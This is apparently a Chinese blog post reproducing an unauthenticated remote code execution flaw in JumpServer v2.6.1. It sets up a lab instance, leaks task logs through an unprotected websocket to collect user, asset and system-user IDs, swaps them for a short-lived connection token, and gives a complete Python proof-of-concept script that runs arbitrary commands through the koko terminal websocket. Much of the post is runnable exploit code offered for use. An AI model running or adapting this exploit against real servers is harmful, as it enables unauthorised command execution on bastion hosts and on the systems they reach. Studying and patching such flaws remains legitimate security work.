jumpserver最新RCE复现

前言

今天复现了jumpserver的最新RCE,可能是年纪大了有点激动发出来有点急。不过塔王紧跟着就把文章整理好了不得不说很专业。想了想也包不住多久,就干脆发公众号出来好了。主要是学到了不少东西,前排感谢rr、7师傅还有群里的其他师傅。年纪大了还能跟一跟热点,真的很开心。

正文

首先。安装

安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

github 安装脚本全部是安装最新版的。

安装的时候注意几个坑。

这里全部选择no

然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/

访问jumpServer

跟踪一下漏洞代码【未授权】websocket

https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py

新版就加了一个判断。那么就直接连接上这个websocket 进行日志读取

插件下载

https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

ws://192.168.1.73:8080/ws/ops/tasks/log/ {'task':'/opt/jumpserver/logs/jumpserver'}搜索存在一些task id

查看task id 的一些信息

这个信息是不可能泄露账号密码的。别被误导了。

注意。需要添加一台主机【如果不是很懂就参考官方文档】

然后进入web终端 登陆那台机器。【不登陆是获取不到那三个值的】

那三个值。在日志中的体现如下:

拿出一条

/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825&cache_policy=1&system_user_id=79655e4e-1741-46af-a793-fff394540a52&user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825

system_user_id=79655e4e-1741-46af-a793-fff394540a52

通过日志中的。api/v1/perms/asset-permissions/user/validate 信息。获取到临时的token 20S

import requests

import json

data={'user':'4320ce47-e0e0-4b86-adb1-675ca611ea0c','asset':'ccb9c6d7-6221-445e-9fcc-b30c95162825','system_user':'79655e4e-1741-46af-a793-fff394540a52'}

url_host='http://192.168.1.73:8080'

def get_token():

url = url_host+'/api/v1/users/connection-token/?user-only=1'

response = requests.post(url, json=data).json()

print(response)

return response['token']

get_token()

上面的是得到一个临时的token

代码如下:

然后这个20s 的token 能做啥,具体的跟踪代码。

登陆后台

后端代码如下:

https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

尝试websocket 连接一下试试。

最后通过脚本访问ws进行代码执行

POC:

# -*- coding: utf-8 -*-

# import requests

# import json

# data={'user':'4320ce47-e0e0-4b86-adb1-675ca611ea0c','asset':'ccb9c6d7-6221-445e-9fcc-b30c95162825','system_user':'79655e4e-1741-46af-a793-fff394540a52'}

#

# url_host='http://192.168.1.73:8080'

#

# def get_token():

#     url = url_host+'/api/v1/users/connection-token/?user-only=1'

#     url =url_host+'/api/v1/authentication/connection-token/?user-only=1'

#     response = requests.post(url, json=data).json()

#     print(response)

#     ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])

#     print(ret.text)

# get_token()

import asyncio

import websockets

import requests

import json

url = '/api/v1/authentication/connection-token/?user-only=None'

# 向服务器端发送认证后的消息

async def send_msg(websocket,_text):

if _text == 'exit':

print(f'you have enter 'exit', goodbye')

await websocket.close(reason='user exit')

return False

await websocket.send(_text)

recv_text = await websocket.recv()

print(f'{recv_text}')

# 客户端主逻辑

async def main_logic(cmd):

print('#######start ws')

async with websockets.connect(target) as websocket:

recv_text = await websocket.recv()

print(f'{recv_text}')

resws=json.loads(recv_text)

id = resws['id']

print('get ws id:'+id)

print('###############')

print('init ws')

print('###############')

inittext = json.dumps({'id': id, 'type': 'TERMINAL_INIT', 'data': '{\'cols\':164,\'rows\':17}'})

await send_msg(websocket,inittext)

for i in range(20):

recv_text = await websocket.recv()

print(f'{recv_text}')

print('###############')

print('exec cmd: ls')

cmdtext = json.dumps({'id': id, 'type': 'TERMINAL_DATA', 'data': cmd+'\r\n'})

print(cmdtext)

await send_msg(websocket, cmdtext)

for i in range(20):

recv_text = await websocket.recv()

print(f'{recv_text}')

print('#######finish')

if __name__ == '__main__':

try:

import sys

host=sys.argv[1]

cmd=sys.argv[2]

if host[-1]=='/':

host=host[:-1]

print(host)

data = {'user': '4320ce47-e0e0-4b86-adb1-675ca611ea0c', 'asset': 'ccb9c6d7-6221-445e-9fcc-b30c95162825',

'system_user': '79655e4e-1741-46af-a793-fff394540a52'}

print('##################')

print('get token url:%s' % (host + url,))

print('##################')

res = requests.post(host + url, json=data)

token = res.json()['token']

print('token:%s', (token,))

print('##################')

target = 'ws://' + host.replace('http://', '') + '/koko/ws/token/?target_id=' + token

print('target ws:%s' % (target,))

asyncio.get_event_loop().run_until_complete(main_logic(cmd))

except:

print('python jumpserver.py http://192.168.1.73 whoami')

总结:

1. 通过未授权访问得到三个id

2. 通过三个ID 进行一个零时token的获取

3.通过临时token 进行ws的访问。进而命令执行

(0)

相关推荐